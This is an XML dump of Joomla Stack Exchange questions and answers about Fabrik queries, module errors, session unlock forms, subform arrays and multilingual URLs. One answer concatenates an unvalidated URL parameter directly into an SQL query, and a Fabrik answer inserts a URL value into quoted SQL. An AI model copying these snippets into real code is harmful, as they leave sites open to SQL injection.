  <row Id="28868" PostTypeId="1" AcceptedAnswerId="28875" CreationDate="2021-02-11T20:40:32.140" Score="1" ViewCount="48" Body="&lt;p&gt;I have a database join field with a WHERE condition in Fabrik. The field gets its content from tableA. The WHERE condition needs one variable from the URL &lt;code&gt;{queryParam}&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This is the WHERE condition:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;WHERE EXISTS (SELECT 1 FROM tableB WHERE {thistable}.id = tableB.selected AND tableB.parent_id = {queryParam})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The issue with this is, that &lt;code&gt;queryParam&lt;/code&gt; of course is not always defined which then breaks the whole application since the SQL query is invalid.&lt;/p&gt;&#xA;&lt;p&gt;I'm not very familiar with Fabrik and Joomla. What would a good practice be to handle this issue? I know, that without &lt;code&gt;queryParam&lt;/code&gt; the SQL query will always return nothing. Is there a way to check if &lt;code&gt;queryParam&lt;/code&gt; is set and If it's not to prevent the SQL query from running?&lt;/p&gt;&#xA;&lt;p&gt;Or can I set a default for &lt;code&gt;queryParam&lt;/code&gt; (e.g 0, which also will always lead to no results)&lt;/p&gt;&#xA;&lt;p&gt;I've already looked through the Fabrik &lt;a href=&quot;http://fabrikar.com/forums/index.php?wiki/index/&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;, &lt;a href=&quot;http://fabrikar.com/forums/index.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;forum&lt;/a&gt; and Joomla posts but couldn't find any useful information.&lt;/p&gt;&#xA;&lt;p&gt;Environment: Joomla 3.9.4, Fabrik 3.x&lt;/p&gt;&#xA;" OwnerUserId="14908" LastActivityDate="2021-02-14T23:17:24.990" Title="Handling undefined variables in Fabrik" Tags="|joomla-3.x|fabrik|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28869" PostTypeId="2" ParentId="1019" CreationDate="2021-02-12T15:34:03.263" Score="0" Body="&lt;p&gt;Re-fixed in 2021 after the &amp;quot;joomla4&amp;quot; pagination.php file from the T3 plugin suddenly started firing:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.covingtoncreations.com/blog/solution-for-pagination-bug-w-joomla-3-k2-sh404sef-t3-framework&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.covingtoncreations.com/blog/solution-for-pagination-bug-w-joomla-3-k2-sh404sef-t3-framework&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13324" LastActivityDate="2021-02-12T15:34:03.263" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28870" PostTypeId="1" AcceptedAnswerId="28872" CreationDate="2021-02-12T21:50:27.847" Score="0" ViewCount="67" Body="&lt;p&gt;I currently have a problem that is driving me crazy.&#xA;My module shows the following error in the frontend in the DEV environment:&lt;/p&gt;&#xA;&lt;p&gt;Undefined property: stdClass::$showtitle&#xA;.../joomla3/templates/system/html/modules.php on line 102&lt;/p&gt;&#xA;&lt;p&gt;And yes when I check $module I see that the parameter showtitle is missing. Now I ask myself the question how I have now probably managed...&#xA;Until recently, I assumed that I probably messed up the current update work (just on the way to create an update). So I uninstalled the module, cleared the cache and installed an old version again --&amp;gt; Unsuccessfully. Also with the old version I have now this error... But in parallel everything seems to work on the demo page (where the same version should be installed). All this makes me doubt that the demo installation is on the same level ( even if it should be ).&lt;/p&gt;&#xA;&lt;p&gt;Does anyone know the above error / can someone give me tips on where to start?&#xA;It is effectively that the module title is not displayed in the frontend - no matter what you choose in the backend (which makes sense since the parameter seems to be missing.&lt;/p&gt;&#xA;&lt;p&gt;PS: The module params are nothing special all joomla standard fields...&lt;/p&gt;&#xA;&lt;p&gt;Hint:&#xA;If I do a var_export of $module within the module (mod_modname.php) the parameter showtitle is present. If I do the var_export inside the System Modules.php file it is missing....&lt;/p&gt;&#xA;&lt;p&gt;Edit: it looks like a problem that only exists in Protostar, I've changed my template now on my dev system and the problem is gone... thats weird&lt;/p&gt;&#xA;" OwnerUserId="9407" LastEditorUserId="12352" LastEditDate="2021-02-13T00:29:40.707" LastActivityDate="2021-02-14T09:51:07.370" Title="Undefined property: stdClass::$showtitle in custom module" Tags="|joomla-3.x|module|templates|custom-module|protostar|" AnswerCount="1" CommentCount="1" ClosedDate="2021-02-14T23:17:44.270" ContentLicense="CC BY-SA 4.0" />
  <row Id="28871" PostTypeId="2" ParentId="23885" CreationDate="2021-02-14T09:46:01.847" Score="0" Body="&lt;p&gt;I faced the same problem. Only for me, the unpublish worked, and the publish did not.&#xA;Solved by deleting rows from the table file.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if ( empty( $array['published'] ) ){&#xA;    $array['published'] = '1';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13776" LastActivityDate="2021-02-14T09:46:01.847" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28872" PostTypeId="2" ParentId="28870" CreationDate="2021-02-14T09:51:07.370" Score="0" Body="&lt;p&gt;the issue was that i used the variable $module in my modules template for something else. i had overwritten the original $module, dumb mistake...&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2021-02-14T09:51:07.370" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28873" PostTypeId="1" AcceptedAnswerId="28878" CreationDate="2021-02-14T13:36:26.557" Score="0" ViewCount="203" Body="&lt;p&gt;I try to add the possibility to my component to unlock content within the component item view.&lt;/p&gt;&#xA;&lt;p&gt;If you watch the item view page, you see a description and an image and a little button. If you click the button, you reload the page and instead of the button you see the download url.&lt;/p&gt;&#xA;&lt;p&gt;Now I wonder how to do this unlock button:&lt;/p&gt;&#xA;&lt;p&gt;I have a simple form + submitbutton + hidden inputfield which reloads the page with an url-parameter. But is there another method which works without url-parameter? I would like to have this parameter invisible...&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;form&amp;gt;&#xA;        &amp;lt;input type=&amp;quot;hidden&amp;quot; id=&amp;quot;unlock&amp;quot; name=&amp;quot;unlock&amp;quot;&amp;gt;&#xA;        &amp;lt;button type=&amp;quot;submit&amp;quot;&amp;gt;Send&amp;lt;/button&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Thanks for letting me know ^^&lt;/p&gt;&#xA;" OwnerUserId="14840" LastEditorUserId="14840" LastEditDate="2021-02-15T07:47:21.007" LastActivityDate="2021-02-15T09:02:45.067" Title="Reload Item View with a Button and send a variable to the session" Tags="|form|session|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28874" PostTypeId="1" AcceptedAnswerId="28877" CreationDate="2021-02-14T19:58:36.277" Score="2" ViewCount="55" Body="&lt;p&gt;I'm developing a custom form field for my template and I need to know the name of this template from inside this form field. While otherwise I would do a &lt;code&gt;setQuery&lt;/code&gt; to look for &lt;code&gt;client_id=0 and home=&amp;quot;1&amp;quot;&lt;/code&gt;, this case is different because you can edit template styles even if they're not set as default.&lt;/p&gt;&#xA;&lt;p&gt;My guess is that I need to read the current URL, get the item id and do a &lt;code&gt;setQuery&lt;/code&gt; on this one. For that I would probably have to do some Uri method I'm still looking for.&lt;/p&gt;&#xA;&lt;p&gt;Any idea if there's a better way please?&lt;/p&gt;&#xA;" OwnerUserId="13509" LastActivityDate="2021-02-15T06:57:11.350" Title="Get the template I'm currently editing" Tags="|templates|database|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28875" PostTypeId="2" ParentId="28868" CreationDate="2021-02-14T23:17:24.990" Score="0" Body="&lt;p&gt;I managed to solve this by wrapping the &lt;code&gt;queryParam&lt;/code&gt; with quotes und then comparing it with an empty string.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;WHERE EXISTS (SELECT 1 FROM tableB WHERE {thistable}.id = tableB.selected AND IF('{queryParam}' = '', true, tableB.parent_id = '{queryParam}'))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14908" LastActivityDate="2021-02-14T23:17:24.990" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28876" PostTypeId="2" ParentId="28874" CreationDate="2021-02-15T06:51:12.917" Score="2" Body="&lt;p&gt;Yea, like I've explained above this worked for me:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$id = Uri::getInstance()-&amp;gt;getVar('id');&#xA;$query = Factory::getDbo()-&amp;gt;setQuery(&amp;quot;SELECT `template`, `params` FROM `#__template_styles` where `id` = '&amp;quot; . $id . &amp;quot;'&amp;quot;);&#xA;$templateObject = $query-&amp;gt;loadObject();&#xA;&#xA;// usage&#xA;// get template name&#xA;$template = $templateObject-&amp;gt;template;&#xA;&#xA;// get template params&#xA;$templateParams = $templateObject-&amp;gt;params;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But yet again, if you guys have a better idea, make sure to let it out.&#xA;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="13509" LastActivityDate="2021-02-15T06:51:12.917" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28877" PostTypeId="2" ParentId="28874" CreationDate="2021-02-15T06:57:11.350" Score="3" Body="&lt;p&gt;You can get it from &lt;code&gt;template&lt;/code&gt; field in the form.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;form)&#xA;{&#xA;    $template = $this-&amp;gt;form-&amp;gt;getValue('template');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-02-15T06:57:11.350" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28878" PostTypeId="2" ParentId="28873" CreationDate="2021-02-15T08:56:35.273" Score="0" Body="&lt;p&gt;Session variables should be set and redirects performed only by the controller. I assume you already have some controllers in your components. Add the task to an existing one or create a new one, whichever is more appropriate for your component.&lt;/p&gt;&#xA;&lt;p&gt;The form:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\HTML\HTMLHelper;&#xA;use Joomla\CMS\Router\Route;&#xA;use Joomla\CMS\Uri\Uri;&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;form method=&amp;quot;post&amp;quot; action=&amp;quot;&amp;lt;?php echo Route::_('index.php', false); ?&amp;gt;&amp;quot;&amp;gt;&#xA;&#xA;    &amp;lt;?php // Indicates the component to use ?&amp;gt;&#xA;    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;option&amp;quot; value=&amp;quot;com_example&amp;quot;&amp;gt;&#xA;    &#xA;    &amp;lt;?php // The controller and the method to execute ?&amp;gt;&#xA;    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;task&amp;quot; value=&amp;quot;download.unlock&amp;quot;&amp;gt;&#xA;    &#xA;    &amp;lt;?php // Set the redirect URL ?&amp;gt;&#xA;    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;return&amp;quot; value=&amp;quot;&amp;lt;?php echo base64_encode(Uri::getInstance()); ?&amp;gt;&amp;quot;&amp;gt;&#xA;    &#xA;    &amp;lt;?php // Pass the download ID, assuming there are multiple downloads and each needs to be unlocked separately ?&amp;gt;&#xA;    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;id&amp;quot; value=&amp;quot;&amp;lt;?php echo $id; ?&amp;gt;&amp;quot;&amp;gt;&#xA;    &#xA;    &amp;lt;?php // Renders CSRF token ?&amp;gt;&#xA;    &amp;lt;?php echo HTMLHelper::_('form.token'); ?&amp;gt;&#xA;    &#xA;    &amp;lt;button type=&amp;quot;submit&amp;quot;&amp;gt;Unlock&amp;lt;/button&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The controller task:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function unlock()&#xA;{&#xA;    // Check CSRF token.&#xA;    $this-&amp;gt;checkToken();&#xA;&#xA;    // Get the application.&#xA;    $app = Factory::getApplication();&#xA;&#xA;    // Check that redirect URL is valid. Otherwise set it to index.php.&#xA;    $return = $this-&amp;gt;input-&amp;gt;post-&amp;gt;get('return', '', 'BASE64');&#xA;&#xA;    if (is_string($return))&#xA;    {&#xA;        $return = base64_decode($return);&#xA;&#xA;        if (!Uri::isInternal($return))&#xA;        {&#xA;            $return = Route::_('index.php', false);&#xA;        }&#xA;    }&#xA;    else&#xA;    {&#xA;        $return = Route::_('index.php', false);&#xA;    }&#xA;&#xA;    // Get the download ID.&#xA;    $id = $this-&amp;gt;input-&amp;gt;post-&amp;gt;get('id', null, 'INT');&#xA;&#xA;    // Check that download ID is a valid integer.&#xA;    if (!is_integer($id))&#xA;    {&#xA;        // Invalid ID provided, redirect back.&#xA;        $this-&amp;gt;setRedirect($return, $app-&amp;gt;getLanguage()-&amp;gt;_('COM_EXAMPLE_DOWNLOAD_UNLOCK_INVALID_ID'));&#xA;&#xA;        return;&#xA;    }&#xA;&#xA;    // Set the session variable. Session key be anything, but make sure it's unique.&#xA;    $app-&amp;gt;setUserState('com_example.download.unlock.' . $id, true);&#xA;&#xA;    // Redirect back to download page.&#xA;    $this-&amp;gt;setRedirect($return);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2021-02-15T09:02:45.067" LastActivityDate="2021-02-15T09:02:45.067" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28879" PostTypeId="1" CreationDate="2021-02-15T13:44:27.133" Score="0" ViewCount="153" Body="&lt;p&gt;I have a module that appears on an article page. The module has a form and I would like to send the article's title and page URL as part of the information sent through the form. Using &lt;code&gt;$this-&amp;gt;item-&amp;gt;title&lt;/code&gt; doesn't seem to work.&lt;/p&gt;&#xA;" OwnerUserId="14912" LastActivityDate="2021-11-15T14:53:28.757" Title="How do I carry a Joomla article title and its link across from an article layout into a module's helper?" Tags="|module|articles|joomla-3.9|variable|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28880" PostTypeId="1" CreationDate="2021-02-16T10:37:06.270" Score="1" ViewCount="86" Body="&lt;p&gt;Is there a way, to load with an XML element, the custom fields, from the Joomla component, com_fields in the backend of a module?&#xA;I know how to take them from the default.php and display them, but I was wondering if there is a way to load them in the backend of a module administration and then reproduce them like a repeatable field?&#xA;Thank you in advance!&lt;/p&gt;&#xA;" OwnerUserId="14144" LastEditorUserId="14144" LastEditDate="2021-02-16T10:46:11.223" LastActivityDate="2021-03-26T00:03:35.350" Title="Add customfields in the administration section of a module" Tags="|joomla-3.x|module|xml|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28881" PostTypeId="2" ParentId="28879" CreationDate="2021-02-16T20:13:39.040" Score="0" Body="&lt;p&gt;In order to carry a variable from page to page php gives us the ability with session. check here: &lt;a href=&quot;https://www.joomlashack.com/blog/how-tos/development/how-to-use-sessions-in-joomla/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomlashack.com/blog/how-tos/development/how-to-use-sessions-in-joomla/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14144" LastActivityDate="2021-02-16T20:13:39.040" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28882" PostTypeId="2" ParentId="16115" CreationDate="2021-02-17T04:10:45.757" Score="0" Body="&lt;p&gt;Do not create any login menu.  This way it redirects automatically to the last page requested and attempts to login. For the same page, then use a guest page to a restricted page or you can use a login redirect to the same page.&lt;/p&gt;&#xA;" OwnerUserId="14913" LastEditorUserId="12352" LastEditDate="2021-02-17T05:22:02.987" LastActivityDate="2021-02-17T05:22:02.987" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28883" PostTypeId="1" CreationDate="2021-02-18T13:00:06.337" Score="0" ViewCount="106" Body="&lt;p&gt;So have a simple Field a user can enter some IDs in:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&amp;quot;ids&amp;quot; type=&amp;quot;subform&amp;quot; min=&amp;quot;1&amp;quot; multiple=&amp;quot;true&amp;quot; layout=&amp;quot;joomla.form.field.subform.repeatable-table&amp;quot; buttons=&amp;quot;add,remove&amp;quot; groupByFieldset=&amp;quot;false&amp;quot; label=&amp;quot;IDs&amp;quot;&amp;gt;&#xA;    &amp;lt;form&amp;gt;&#xA;        &amp;lt;fieldset name=&amp;quot;section1&amp;quot; label=&amp;quot;Section1&amp;quot;&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;id&amp;quot; label=&amp;quot;ID&amp;quot; min=&amp;quot;0&amp;quot; type=&amp;quot;number&amp;quot; /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If i want fo get the IDs as a simple array. At the moment i do this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ids = array_column(json_decode(json_encode($this-&amp;gt;params-&amp;gt;get('ids')), TRUE), 'id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;That looks a bit weird, but i want to avoid using loops. Is there a framework friendly approach to this?&lt;/p&gt;&#xA;" OwnerUserId="3822" LastActivityDate="2021-11-15T17:03:55.377" Title="Get linear array of subform repeated values" Tags="|jform|repeatable-field|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28884" PostTypeId="2" ParentId="28883" CreationDate="2021-02-18T14:49:15.057" Score="1" Body="&lt;p&gt;Since PHP 7 &lt;code&gt;array_column()&lt;/code&gt; supports passing an array of objects. You would only need to cast the data to array:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ids = array_column((array) $this-&amp;gt;params-&amp;gt;get('ids'), 'id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;On older PHP versions you could cast to array and use &lt;code&gt;Joomla\Utilities\ArrayHelper::getColumn()&lt;/code&gt; which supports passing array of objects on all PHP versions:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\Utilities\ArrayHelper;&#xA;&#xA;$ids = ArrayHelper::getColumn((array) $this-&amp;gt;params-&amp;gt;get('ids'), 'id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Or, alternatively, use &lt;code&gt;Joomla\Utilities\ArrayHelper::fromObject()&lt;/code&gt; to recursively convert the object to an array and then use &lt;code&gt;array_column()&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\Utilities\ArrayHelper;&#xA;&#xA;$ids = array_column(ArrayHelper::fromObject($this-&amp;gt;params-&amp;gt;get('ids')), 'id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have not measured how performance compares to JSON encode/decode.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-02-18T14:49:15.057" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28887" PostTypeId="1" CreationDate="2021-02-19T18:53:09.087" Score="0" ViewCount="194" Body="&lt;p&gt;I work on a Joomla Site View for my component with content which can be unlocked via points. In &lt;a href=&quot;https://joomla.stackexchange.com/questions/28873/reload-item-view-with-a-button-and-send-a-variable-to-the-session&quot;&gt;this&lt;/a&gt; thread I fixed my controller problem already, so now I have a simple button, and if I press it, the content is unlocked.&lt;/p&gt;&#xA;&lt;p&gt;Now I would like to pimp this button:&lt;/p&gt;&#xA;&lt;p&gt;If you click on it, a modal window opens with the following options:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Close modal window&lt;/li&gt;&#xA;&lt;li&gt;Checkbox which has to be checked in order to press the&lt;/li&gt;&#xA;&lt;li&gt;Confirm-Button. This button activates the controller in the end.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I saw several threads like &lt;a href=&quot;https://joomla.stackexchange.com/questions/11035/click-on-custom-button-opens-modal-window&quot;&gt;this&lt;/a&gt; one, but cannot get it to work properly. It seems to be a bit outdated, not sure, but I found the method &amp;quot;JToolbarHelper::modal()&amp;quot; and thought this might enease the job:&lt;/p&gt;&#xA;&lt;p&gt;Right now this is my code:&lt;/p&gt;&#xA;&lt;p&gt;view.html.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    JHtml::_('bootstrap.modal');&#xA;    JToolbarHelper::modal('modal-test', '', 'Unlock');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;tmpl/default.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div class=&amp;quot;modal hide fade&amp;quot; id=&amp;quot;modal-test&amp;quot; style=&amp;quot;width:500px;height:200px&amp;quot;&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;modal-header&amp;quot;&amp;gt;&#xA;        &amp;lt;button type=&amp;quot;button&amp;quot; role=&amp;quot;presentation&amp;quot; class=&amp;quot;close&amp;quot; data-dismiss=&amp;quot;modal&amp;quot;&amp;gt;x&amp;lt;/button&amp;gt;&#xA;        &amp;lt;h3&amp;gt;Modal title&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;modal-body&amp;quot;&amp;gt;&#xA;        Modal content here&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;modal-footer&amp;quot;&amp;gt;&#xA;        &amp;lt;button class=&amp;quot;btn&amp;quot; type=&amp;quot;button&amp;quot; data-dismiss=&amp;quot;modal&amp;quot;&amp;gt;&#xA;            &amp;lt;?php echo JText::_('JCANCEL'); ?&amp;gt;&#xA;        &amp;lt;/button&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;(It's the code from the other thread).&lt;/p&gt;&#xA;&lt;p&gt;Right now, the modal window opens, well, it's just not a window: &lt;a href=&quot;http://prntscr.com/1015yb4&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://prntscr.com/1015yb4&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;So here're the questions:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How to fix the obvious layout problem? =&amp;gt; SOLVED, another CSS file was interferred&lt;/li&gt;&#xA;&lt;li&gt;How to do the checkbox + button-cobi inside the modal window which loads the controller in the end?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Thx for the help ^^&lt;/p&gt;&#xA;" OwnerUserId="14840" LastEditorUserId="14840" LastEditDate="2021-02-20T17:05:29.870" LastActivityDate="2024-03-08T19:06:35.833" Title="Button in the Joomla Toolbar should open a Modal Confirm Window" Tags="|joomla-3.x|bootstrap|modal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28890" PostTypeId="1" CreationDate="2021-02-21T17:29:32.133" Score="0" ViewCount="79" Body="&lt;p&gt;Looking for the info to have a custom User plugin but instead it shows up in the User, it needs to show up in the (User) group (backend Joomla Administrator).&#xA;There is a very good example how to develop your own custom User plugin. It adds a tab to the existing User. Used that many times.&#xA;Now I need to develop a similar plugin, but it needs to add a tab in the User group, because a setting has to apply for the whole group. Where in the plug should I make an adjustment so it will install as a plugin for the group. I assume in the .XML file but what line do I have to add or change. Appreciated!&lt;/p&gt;&#xA;" OwnerUserId="14171" LastActivityDate="2024-03-12T17:00:25.143" Title="Custom User plugin for the group" Tags="|plugin|administrator|user|user-groups|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28891" PostTypeId="1" AcceptedAnswerId="28917" CreationDate="2021-02-21T19:11:07.620" Score="3" ViewCount="188" Body="&lt;p&gt;I'm making a multilingual site where I'm using Spanish, English, German, and others.&lt;/p&gt;&#xA;&lt;p&gt;I have already made several multi-language sites and I am familiar with the process but in this case, my client wants the user to choose the country from a dropdown selector and not the language.&lt;/p&gt;&#xA;&lt;p&gt;In such a way that if the client chooses Spain, Spanish (es) is used, Germany uses German (de), and so on.&lt;/p&gt;&#xA;&lt;p&gt;Until there, no problem, I've already done it.&lt;/p&gt;&#xA;&lt;p&gt;The problem is with the countries that use the same or very similar language as the Latin countries: Argentina, Chile, Peru, Venezuela, Colombia, etc. .. that use Spanish or Germany and Austria that use German.&lt;/p&gt;&#xA;&lt;p&gt;My client wants the URL to use the prefix of each country and not group them by language: For example, for Argentina, Spain, and Colombia the URLs would be:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.myweb.com/ar&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.myweb.com/ar&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.myweb.com/es&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.myweb.com/es&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.myweb.com/co&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.myweb.com/co&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But I don't want to have to install all the Spanish versions, many of which don't exist, and I don't want to create a multitude of associations for menu items, articles, and modules that would be basically the same. I would like any of those prefixes: ar, co, cl, ve, pe -&amp;gt; to use es and es-ES internally.&lt;/p&gt;&#xA;&lt;p&gt;The same for example would happen with Germany and Austria. The URLs would be:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.myweb.com/de&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.myweb.com/de&lt;/a&gt; (germany)&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.myweb.com/au&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.myweb.com/au&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But internally they both will use de-DE.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for any help or hints that you can give me to solve this problem. I can program any type of Joomla / PHP plugin in case the solution was custom programming.&lt;/p&gt;&#xA;" OwnerUserId="371" LastEditorUserId="12352" LastEditDate="2021-02-24T23:50:52.070" LastActivityDate="2023-01-17T16:41:12.017" Title="Multilingual site where several countries share the same language" Tags="|development|multilingual|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28892" PostTypeId="1" CreationDate="2021-02-21T23:26:58.050" Score="1" ViewCount="31" Body="&lt;p&gt;I have a Joomla 3.9.24 site on which my mainmenu list has 4 pages.  The mainmenu has 5 top-level menu entries (including Home) with variable numbers of submenus.&lt;/p&gt;&#xA;&lt;p&gt;I have some single-article menu items which are organized by 2-year groups, and I just added a new &amp;quot;meeting minutes 2021-2022&amp;quot; article and menu item.&lt;/p&gt;&#xA;&lt;p&gt;The &amp;quot;meetings&amp;quot; entries are organized under a top level entry in mainmenu called &amp;quot;12Y13X NCPC.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;The top-level &amp;quot;12Y13X NCPC&amp;quot; menu entry is on page 3 of the mainmenu list.&lt;/p&gt;&#xA;&lt;p&gt;The &amp;quot;meeting minutes 2021-2022&amp;quot; menu item is on page 4 of the mainmenu list, and I can NOT figure out how to drag it back to page 3 so it will be in its correct place at the bottom of the list of meeting minutes.&lt;/p&gt;&#xA;&lt;p&gt;It currently shows below a higher-level menu entry with unrelated items under it, which should be below it.&lt;/p&gt;&#xA;&lt;p&gt;I considered adding a submenu for &amp;quot;meeting minutes&amp;quot; and moving all the 2-year minutes entries under it, but I don't know how to do that.  I have such a mess now and I thought I'd better ask for advice.&lt;/p&gt;&#xA;&lt;p&gt;My site: rockridgencpc.com&lt;/p&gt;&#xA;" OwnerUserId="8834" LastEditorUserId="12352" LastEditDate="2021-07-22T01:17:21.030" LastActivityDate="2021-07-22T01:17:21.030" Title="New menu is on wrong menu index page" Tags="|menu-item|submenu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28893" PostTypeId="2" ParentId="28892" CreationDate="2021-02-22T00:38:12.523" Score="2" Body="&lt;p&gt;After a break, I figured out how to do this myself.  I'd forgotten that one of the menu search tools is &lt;em&gt;Parent Item.&lt;/em&gt;  When I chose the correct parent item, it put all the entries under that parent on one page, and I could easily drag the entries around to the order I wanted.  Sorry to take up everyone's time.&lt;/p&gt;&#xA;" OwnerUserId="8834" LastActivityDate="2021-02-22T00:38:12.523" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28894" PostTypeId="2" ParentId="15178" CreationDate="2021-02-22T08:57:58.597" Score="0" Body="&lt;p&gt;In the solution suggestion on another website: there was a suggestion to remove bclass.php in libraries / joomla / database / driver. but I didn't have that file. In this case, I opened the driver folder in my old web site backup, I opened the current driver folder in front of it, an extra pgsql.php file appeared. When I disabled it, I checked the site and GENERAL CONFIGURATION worked. There was no problem on the website. :) (take a backup)&lt;/p&gt;&#xA;" OwnerUserId="14924" LastEditorUserId="12352" LastEditDate="2021-02-22T11:32:28.560" LastActivityDate="2021-02-22T11:32:28.560" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
